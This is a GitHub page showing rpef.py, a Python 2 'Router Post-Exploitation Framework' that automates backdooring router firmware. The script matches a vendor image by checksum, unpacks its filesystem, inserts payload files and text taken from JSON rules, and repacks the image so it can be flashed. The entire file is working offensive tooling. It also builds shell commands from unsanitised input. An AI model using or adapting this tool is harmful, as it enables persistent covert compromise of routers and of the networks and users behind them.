-
Notifications
You must be signed in to change notification settings - Fork 29
Expand file tree
/
Copy pathrpef.py
More file actions
executable file
·559 lines (502 loc) · 23.3 KB
/
rpef.py
File metadata and controls
executable file
·559 lines (502 loc) · 23.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
#!/usr/bin/env python
import argparse
import bz2
import hashlib
import json
import pylzma
import os
import re
import shutil
import string
import sys
import tempfile
# We enable and disable stdout/stderr throughout the program to hide verbose
# logging (unless the user specifies it). This are global copies of the original
# stdout/stderr steams so we don't have to pass them around function calls.
orig_stdout = sys.stdout
orig_stderr = sys.stderr
def nodot(item):
return item[0] != '.'
class ListAction(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
print "\nList of supported firmware targets:\n"
print "Vendor\t\tRouter Model\t\tFirmware Version\tStatus"
vendors = sorted(filter(nodot, os.listdir('rules')))
for vendor in vendors:
firmwares = sorted(filter(nodot, os.listdir('rules/%s' % vendor)))
for firmware in firmwares:
props = json.load(open('rules/%s/%s/properties.json' % (vendor, firmware), 'rb'))
for target in props['Meta']['Targets']:
print "\t\t\t\t\t\t\t\t%s" % target['Status'],
print "\r\t\t\t\t\t%s" % target['Version'],
print "\r\t\t%s" % target['Model'],
print "\r%s" % target['Vendor']
parser.exit()
class LongListAction(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
print "\nList of supported firmware targets:\n"
print "Checksum\t\t\t\tVendor\t\tRouter Model\t\tFirmware Version\tStatus\t\tPayloads"
vendors = sorted(filter(nodot, os.listdir('rules')))
for vendor in vendors:
firmwares = sorted(filter(nodot, os.listdir('rules/%s' % vendor)))
for firmware in firmwares:
props = json.load(open('rules/%s/%s/properties.json' % (vendor, firmware), 'rb'))
for target in props['Meta']['Targets']:
print "\r\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t%s" % ", ".join(props['Payloads']),
print "\r\t\t\t\t\t\t\t\t\t\t\t\t\t%s" % target['Status'],
print "\r\t\t\t\t\t\t\t\t\t\t%s" % target['Version'],
print "\r\t\t\t\t\t\t\t%s" % target['Model'],
print "\r\t\t\t\t\t%s" % target['Vendor'],
print "\r%s" % props['Meta']['Checksum']
parser.exit()
class NullDevice():
def write(self, s):
pass
def string_parser(text):
vars_expr = re.compile( r"_[A-Z]+_")
result = vars_expr.findall(text)
if result:
sub = {}
curr_stdout = sys.stdout
sys.stdout = orig_stdout
for item in result:
if item in props['Payloads'][args.payload]['Variables']:
replace = raw_input("[+] INPUT REQUIRED, %s: " % props['Payloads'][args.payload]['Variables'][item])
text = text.replace(item, replace)
sys.stdout = curr_stdout
return text
def filename_parser(target):
if target == "_FIRMWARE_IMG_": # Input file
return args.infile.name
if target == "_TARGET_IMG_": # Output file
return args.outfile.name
elif target[0] == '/': # File path starts from tmp directory
return "%s%s" % (tmp_dir, target)
else: # File path starts from module directory
return "%s/%s" % (module_dir, target)
def shell_command(command):
print "\t\tExecuting: %s" % command
out = os.popen(command)
for line in out.readlines():
print "\t\t%s" % line,
out.close()
def abs_commands_parser(steps):
n = 0
for step in steps:
n += 1
orig_stdout = sys.stdout
orig_stderr = sys.stderr
if not args.verbose:
sys.stdout = NullDevice()
sys.stderr = NullDevice()
# Make directory
# mkdir %destdir
if step[0] == "mkdir":
arg1 = filename_parser(step[1])
print "\tStep %d: Makedir %s" % (n, arg1)
os.mkdir(arg1)
# Copy file
# cp %srcfile %destfile
elif step[0] == "cp":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: Copy %s %s" % (n, arg1, arg2)
shutil.copy2(arg1, arg2)
# Move/rename file or directory
# mv %src %dest
elif step[0] == "mv":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: Move %s %s" % (n, arg1, arg2)
shutil.move(arg1, arg2)
# Remove a file
# rm %destfile
elif step[0] == "rm":
arg1 = filename_parser(step[1])
print "\tStep %d: Rm %s" % (n, arg1)
os.remove(arg1)
# Remove a directory
# rmdir %destdir
elif step[0] == "rmdir":
arg1 = filename_parser(step[1])
print "\tStep %d: Rmdir %s" % (n, arg1)
shutil.rmtree(arg1)
# Create file
# touch %destfile
elif step[0] == "touch":
arg1 = filename_parser(step[1])
print "\tStep %d: Touch %s" % (n, arg1)
open(arg1, 'wb').close()
# Change permissions of file or directory
# chmod %octalstr %dest
# For example:
# "chmod" "0777" "/extracted_fs/usr/sbin/httpd"
elif step[0] == "chmod":
arg1 = string.atoi(step[1], 8)
arg2 = filename_parser(step[2])
print "\tStep %d: Chmod %o %s" % (n, arg1, arg2)
os.chmod(arg2, arg1)
# Append file to file
# appendfile %srcfile %destfile
elif step[0] == "appendfile":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: Appendfile %s >> %s" % (n, arg1, arg2)
app = open(arg2, 'ab')
add = open(arg1, 'rb')
app.write(add.read())
app.close()
add.close()
# Append text to file
# appendtext %str %destfile
elif step[0] == "appendtext":
arg1 = string_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: Appendtext \"%s\" >> %s" % (n, arg1, arg2)
app = open(arg2, 'ab')
app.write(arg1)
app.close()
# Extract bytes from file to file
# extract %srcfile %offset %size %destfile
elif step[0] == "extract":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = step[3]
arg4 = filename_parser(step[4])
print "\tStep %d: Extract %s, Offset %d, Size %d -> %s" % (n, arg1, arg2, arg3, arg4)
ext = open(arg1, 'rb')
ext.seek(arg2)
out = open(arg4, 'wb')
out.write(ext.read(arg3))
ext.close()
out.close()
# Write arbitrary bytes at an arbitrary location
# freewrite %destfile %offset %str
elif step[0] == "freewrite":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = string_parser(step[3])
print "\tStep %d: Freewrite %s, Offset %d -> \"%s\"" % (n, arg1, arg2, arg3)
fw = open(arg1, 'r+b')
fw.seek(arg2)
fw.write(arg3)
fw.close()
# Pad file with given byte (in decimal) to desired size
# pad %destfile %byte %size
elif step[0] == "pad":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = step[3]
print "\tStep %d: Pad %s to size %d with %d (0x%02x)" % (n, arg1, arg3, arg2, arg2)
curr_size = os.path.getsize(arg1)
to_pad = arg3 - curr_size
if to_pad < 0:
sys.stdout = orig_stdout
sys.stderr = orig_stderr
print "[-] ERROR:"
print "\tTarget file is already larger than desired size."
print "\tCurrent size: %d bytes" % curr_size
print "\tTarget size : %d bytes" % arg3
print "\tDifference : %d bytes" % to_pad
sys.exit(0)
app = open(arg1, 'ab')
app.write(chr(arg2) * to_pad)
app.close()
# bzip2 decompress file
# bzip2-decomp %srcfile %destfile
elif step[0] == "bzip2-decomp":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: Bzip2 Decompress %s -> %s" % (n, arg1, arg2)
out = open(arg2, 'wb')
out.write(bz2.BZ2File(arg1).read())
out.close()
# LZMA decompress file, currently requires .lzma extension
# lzma-decomp %srcfile %destfile
elif step[0] == "lzma-decomp":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: LZMA Decompress %s -> %s" % (n, arg1, arg2)
# XXX: Python's LZMA support sucks, so we're just going to use a CLI utility for now
shell_command("utilities/lzma --keep --decompress %s" % arg1)
shutil.move(arg1[:-5], arg2)
# src = open(arg1, 'rb')
# out = open(arg2, 'wb')
# # native lzma module to be added in python 3.3
# #out.write(lzma.LZMAFile(arg1).read())
# s = pylzma.decompressobj()
# while True:
# tmp = src.read(1)
# if not tmp:
# break
# out.write(s.decompress(tmp))
# src.close()
# out.close()
# Unpack SquashFS utility, version 1.0
# unsquashfs-1.0 %srcfile %destdir
elif step[0] == "unsquashfs-1.0":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: unsquashfs-1.0 %s -> %s" % (n, arg1, arg2)
shell_command("utilities/unsquashfs-1.0 -dest %s %s" % (arg2, arg1))
# Unpack SquashFS utility, version 1.3 (LZMA compression)
# unsquashfs-1.3-lzma %srcfile %destdir
elif step[0] == "unsquashfs-1.3-lzma":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: unsquashfs-1.3 (lzma) %s -> %s" % (n, arg1, arg2)
shell_command("utilities/unsquashfs-1.3-lzma -dest %s %s" % (arg2, arg1))
# Unpack SquashFS utility, version 3.0 (LZMA compression)
# unsquashfs-3.0-lzma %srcfile %destdir
elif step[0] == "unsquashfs-3.0-lzma":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: unsquashfs-3.0 (lzma) %s -> %s" % (n, arg1, arg2)
shell_command("utilities/unsquashfs-3.0-lzma -dest %s %s" % (arg2, arg1))
# Unpack SquashFS utility, version 4.1
# unsquashfs-4.1 %srcfile %destdir
elif step[0] == "unsquashfs-4.1":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: unsquashfs-4.1 %s -> %s" % (n, arg1, arg2)
shell_command("utilities/unsquashfs-4.1 -no-progress -dest %s %s" % (arg2, arg1))
# Unpack CramFS utility, version 2.x
# cramfsck-2.x %srcfile %destdir
elif step[0] == "cramfsck-2.x":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: cramfsck-2.x %s -> %s" % (n, arg1, arg2)
shell_command("utilities/cramfsck-2.x -v -x %s %s" % (arg2, arg1))
# Build SquashFS utility, version 2.1
# mksquashfs-2.1 %srcdir %blocksize %endianness %destfile
# %endianness may be one of the following:
# "le" = little endian
# "be" = big endian
elif step[0] == "mksquashfs-2.1":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = string_parser(step[3])
arg4 = filename_parser(step[4])
if arg3 == "le":
endian = "Little"
else:
endian = "Big"
print "\tStep %d: mksquashfs-2.1 %s, Blocksize %d, %s endian -> %s" % (n, arg1, arg2, endian, arg4)
shell_command("utilities/mksquashfs-2.1 %s %s -b %d -root-owned -%s" % (arg1, arg4, arg2, arg3))
# Build SquashFS utility, version 2.1 (LZMA compression)
# mksquashfs-2.1-lzma %srcdir %blocksize %endianness %destfile
# %endianness may be one of the following:
# "le" = little endian
# "be" = big endian
elif step[0] == "mksquashfs-2.1-lzma":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = string_parser(step[3])
arg4 = filename_parser(step[4])
if arg3 == "le":
endian = "Little"
else:
endian = "Big"
print "\tStep %d: mksquashfs-2.1 (lzma) %s, Blocksize %d, %s endian -> %s" % (n, arg1, arg2, endian, arg4)
shell_command("utilities/mksquashfs-2.1 %s %s -b %d -comp lzma -root-owned -%s" % (arg1, arg4, arg2, arg3))
# Build SquashFS utility, version 3.0 (LZMA compression)
# mksquashfs-3.0-lzma %srcdir %blocksize %endianness %destfile
# %endianness may be one of the following:
# "le" = little endian
# "be" = big endian
elif step[0] == "mksquashfs-3.0-lzma":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = string_parser(step[3])
arg4 = filename_parser(step[4])
if arg3 == "le":
endian = "Little"
else:
endian = "Big"
print "\tStep %d: mksquashfs-3.0 (lzma) %s, Blocksize %d, %s endian -> %s" % (n, arg1, arg2, endian, arg4)
shell_command("utilities/mksquashfs-3.0-lzma %s %s -b %d -root-owned -%s" % (arg1, arg4, arg2, arg3))
# Build SquashFS utility, version 3.2-r2 (LZMA compression)
# mksquashfs-3.2-r2-lzma %srcdir %blocksize %endianness %destfile
# %endianness may be one of the following:
# "le" = little endian
# "be" = big endian
elif step[0] == "mksquashfs-3.2-r2-lzma":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = string_parser(step[3])
arg4 = filename_parser(step[4])
if arg3 == "le":
endian = "Little"
else:
endian = "Big"
print "\tStep %d: mksquashfs-3.2-r2 (lzma) %s, Blocksize %d, %s endian -> %s" % (n, arg1, arg2, endian, arg4)
shell_command("utilities/mksquashfs-3.2-r2-lzma %s %s -b %d -root-owned -%s" % (arg1, arg4, arg2, arg3))
# Build SquashFS utility, version 4.1 (LZMA compression)
# mksquashfs-4.1-lzma %srcdir %blocksize %destfile
elif step[0] == "mksquashfs-4.1-lzma":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = filename_parser(step[3])
print "\tStep %d: mksquashfs-4.1 (lzma) %s, Blocksize %d -> %s" % (n, arg1, arg2, arg3)
shell_command("utilities/mksquashfs-4.1 %s %s -b %d -comp lzma -root-owned -no-progress" % (arg1, arg3, arg2))
# Build CramFS utility, version 2.x
# mkcramfs-2.x %srcdir %edition %destfile
elif step[0] == "mkcramfs-2.x":
arg1 = filename_parser(step[1])
arg2 = step[2]
arg3 = filename_parser(step[3])
print "\tStep %d: mkcramfs-2.x %s, Edition %d -> %s" % (n, arg1, arg2, arg3)
shell_command("utilities/mkcramfs-2.x -e %d %s %s" % (arg2, arg1, arg3))
# Belkin Extended Firmware Header utility (Create)
# belky-extract %srckernerl %srcfs %srcnvram %destfile
elif step[0] == "belky-create":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
arg3 = filename_parser(step[3])
arg4 = filename_parser(step[4])
print "\tStep %d: belky-create Kernel %s, Filesystem %s, NVRAM Settings %s -> %s" % (n, arg1, arg2, arg3, arg4)
shell_command("utilities/belky -ce -e %s -k %s -fs0 %s -u %s" % (arg4, arg1, arg2, arg3))
# Belkin Extended Firmware Header utility (Extract)
# belky-extract %srcfile %destkernel %destfs %destnvram
elif step[0] == "belky-extract":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
arg3 = filename_parser(step[3])
arg4 = filename_parser(step[4])
print "\tStep %d: belky-extract %s -> Kernel %s, Filesystem %s, NVRAM Settings %s" % (n, arg1, arg2, arg3, arg4)
shell_command("utilities/belky -xe -e %s -k %s -fs0 %s -u %s" % (arg1, arg2, arg3, arg4))
# TODO: Fuckin' fix PFS
# Unpack PFS/0.9 utility
# unpfs %srcfile %destdir
elif step[0] == "unpfs":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
print "\tStep %d: unpfs %s -> %s" % (n, arg1, arg2)
# The public PoC pfs utility only extracts to the current directory,
# so we need to shuffle some files around
os.mkdir(arg2)
arg2_tmp = os.path.join(arg2, os.path.basename(arg1))
shutil.copy2(arg1, arg2_tmp)
shell_command("utilities/unpfs < %s" % arg2_tmp)
os.remove(arg2_tmp)
# Generate .chk header for firmware image
# packet %srcfile %bidfile %configfile
elif step[0] == "packet":
arg1 = filename_parser(step[1])
arg2 = filename_parser(step[2])
arg3 = filename_parser(step[3])
print "\tStep %d: packet %s %s %s" % (n, arg1, arg2, arg3)
shell_command("utilities/packet -k %s -b %s -i %s" % (arg1, arg2, arg3))
shutil.move("_kernel_rootfs_image.chk", arg1)
os.remove("_kernel_image.chk")
os.remove("_rootfs_image.chk")
# Generate Realtek header/footer for firmware part
# cvimg %srcfile %type %startaddr %burnaddr
# %type may be one of the following:
# "root" = rootfs
# "linux" = Linux kernel
elif step[0] == "cvimg":
arg1 = filename_parser(step[1])
arg2 = string_parser(step[2])
arg3 = string_parser(step[3])
arg4 = string_parser(step[4])
print "\tStep %d: cvimg %s %s %s %s" % (n, arg1, arg2, arg3, arg4)
outfile = tempfile.NamedTemporaryFile(dir=tmp_dir, delete=False)
shell_command("utilities/cvimg %s %s %s %s %s" % (arg2, arg1, outfile.name, arg3, arg4))
outfile.close()
shutil.move(outfile.name, arg1)
# Generate OpenWRT image header for firmware image
# mkimage %srcfile %arch %os %imgtype %compression %loadaddr %entryp %imgname
elif step[0] == "mkimage":
arg1 = filename_parser(step[1]) # srcfile
arg2 = string_parser(step[2]) # arch
arg3 = string_parser(step[3]) # os
arg4 = string_parser(step[4]) # imgtype
arg5 = string_parser(step[5]) # compression
arg6 = string_parser(step[6]) # loadaddr
arg7 = string_parser(step[7]) # entryp
arg8 = string_parser(step[8]) # imgname
print "\tStep %d: mkimage %s, Arch %s, OS %s, Type %s, Compression %s, Load Addr %s, Entry Point %s, Name \"%s\"" % (n, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8)
outfile = tempfile.NamedTemporaryFile(dir=tmp_dir, delete=False)
shell_command("utilities/mkimage -A %s -O %s -T %s -C %s -a %s -e %s -n '%s' -d %s %s" % (arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg1, outfile.name))
outfile.close()
shutil.move(outfile.name, arg1)
# Strip symbols from MIPS ELF binary
# mipsel-uclibc-strip %srcfile
elif step[0] == "mipsel-linux-strip":
arg1 = filename_parser(step[1])
print "\tStep %d: mipsel-linux-strip %s" % (n, arg1)
shell_command("utilities/mipsel-linux-strip %s" % arg1)
# Error: Unknown command
else:
sys.stdout = orig_stdout
sys.stderr = orig_stderr
print "\tERROR: Unrecognized command!"
print "\t%s" % " ".join(step)
sys.exit(1)
sys.stdout = orig_stdout
sys.stderr = orig_stderr
parser = argparse.ArgumentParser(description="Expedite and automate the process of backdooring router firmware images.")
parser.add_argument('--version', action='version', version="rpef: Router Post-Exploitation Framework v0.2")
parser.add_argument('-v', '--verbose', action='store_true', help="enable verbose output")
parser.add_argument('-l', '--list', action=ListAction, nargs=0, help="print the list of supported firmware targets")
parser.add_argument('-ll', '--longlist', action=LongListAction, nargs=0, help="print a detailed list of supported firmware targets")
parser.add_argument('-lt', '--leavetmp', action='store_true', help="don't delete temporary files once finished")
parser.add_argument('-i', '--id', action='store', type=str, dest="id", help="force target regardless of checksum")
extract_group = parser.add_argument_group("firmware processing")
extract_group.add_argument('infile', type=argparse.FileType('rb'), help="firmware image to modify")
extract_group.add_argument('outfile', type=argparse.FileType('wb'), help="file to save modified firmware image to")
extract_group.add_argument('payload', type=str, help="name of payload to deploy")
args = parser.parse_args()
print "[+] Verifying checksum"
md5 = hashlib.md5()
for chunk in iter(lambda: args.infile.read(128*md5.block_size), ''):
md5.update(chunk)
checksum = md5.digest().encode('hex')
args.infile.seek(0)
success = False
vendors = filter(nodot, os.listdir("rules"))
try:
for vendor in vendors:
firmwares = filter(nodot, os.listdir("rules/%s" % vendor))
for firmware in firmwares:
props = json.load(open("rules/%s/%s/properties.json" % (vendor, firmware), 'rb'))
if (args.id and props['Meta']['Checksum'] == args.id) or \
(not args.id and props['Meta']['Checksum'] == checksum):
success = True
raise StopIteration()
except StopIteration:
print "\tCalculated checksum: %s" % checksum
for target in props['Meta']['Targets']:
print "\tMatched target: %s %s %s (%s)" % (target['Vendor'], target['Model'], target['Version'], target['Status'])
pass
if not success:
print "ERROR: Firmware image didn't match any known target checksums!"
print
print "The firmware image you provided was:"
print "\tFilename: %s" % args.infile.name
print "\tChecksum: %s" % checksum
print
print "For a list of all supported firmware targets, use the '--longlist' flag."
print "To force a target regardless of checksum, use the '--id' flag."
sys.exit(1)
if props['Meta']['NeedsRoot'] and os.geteuid() != 0:
print "ERROR: You must be root to continue!"
sys.exit(1)
# Target module directory
module_dir = "rules/%s/%s" % (vendor, firmware)
# Temporary directories and files
tmp_dir = tempfile.mkdtemp()
for operation in props['OrderOfOperations']:
if operation == "_PAYLOAD_":
print "[+] Inserting payload"
abs_commands_parser(props['Payloads'][args.payload]['Steps'])
else:
print "[+] %s" % props[operation]['Description']
abs_commands_parser(props[operation]['Steps'])
if args.leavetmp:
print "[+] Temporary files may be found in: %s" % tmp_dir
else:
print "[+] Removing temporary files"
toexec = [["rmdir", "/"]]
abs_commands_parser(toexec)